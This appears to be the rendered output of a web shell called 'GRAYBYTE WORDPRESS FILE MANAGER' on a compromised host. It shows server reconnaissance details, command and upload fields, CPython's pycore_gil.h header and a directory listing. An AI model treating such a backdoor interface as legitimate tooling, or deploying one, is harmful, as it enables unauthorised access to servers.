GRAYBYTE WORDPRESS FILE MANAGER7433

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python38/include/python3.8/internal/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python38/include/python3.8/internal//pycore_gil.h
#ifndef Py_INTERNAL_GIL_H
#define Py_INTERNAL_GIL_H
#ifdef __cplusplus
extern "C" {
#endif

#ifndef Py_BUILD_CORE
#  error "this header requires Py_BUILD_CORE define"
#endif

#include "pycore_condvar.h"
#include "pycore_atomic.h"

#ifndef Py_HAVE_CONDVAR
#  error You need either a POSIX-compatible or a Windows system!
#endif

/* Enable if you want to force the switching of threads at least
   every `interval`. */
#undef FORCE_SWITCHING
#define FORCE_SWITCHING

struct _gil_runtime_state {
    /* microseconds (the Python API uses seconds, though) */
    unsigned long interval;
    /* Last PyThreadState holding / having held the GIL. This helps us
       know whether anyone else was scheduled after we dropped the GIL. */
    _Py_atomic_address last_holder;
    /* Whether the GIL is already taken (-1 if uninitialized). This is
       atomic because it can be read without any lock taken in ceval.c. */
    _Py_atomic_int locked;
    /* Number of GIL switches since the beginning. */
    unsigned long switch_number;
    /* This condition variable allows one or several threads to wait
       until the GIL is released. In addition, the mutex also protects
       the above variables. */
    PyCOND_T cond;
    PyMUTEX_T mutex;
#ifdef FORCE_SWITCHING
    /* This condition variable helps the GIL-releasing thread wait for
       a GIL-awaiting thread to be scheduled and take the GIL. */
    PyCOND_T switch_cond;
    PyMUTEX_T switch_mutex;
#endif
};

#ifdef __cplusplus
}
#endif
#endif /* !Py_INTERNAL_GIL_H */

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
October 25 2024 08:45:12
root / linksafe
0755
pycore_accu.h
1.1 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_atomic.h
16.547 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_ceval.h
0.943 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_code.h
0.529 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_condvar.h
2.743 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_context.h
0.761 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_fileutils.h
1.225 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_getopt.h
0.479 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_gil.h
1.484 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_hamt.h
3.611 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_initconfig.h
5.096 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_long.h
1.512 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_object.h
2.828 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_pathconfig.h
1.989 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_pyerrors.h
1.298 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_pyhash.h
0.201 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_pylifecycle.h
3.726 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_pymem.h
8.024 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_pystate.h
9.363 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_traceback.h
3.004 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_tupleobject.h
0.408 KB
September 06 2024 20:41:55
root / linksafe
0644
pycore_warnings.h
0.577 KB
September 06 2024 20:41:55
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF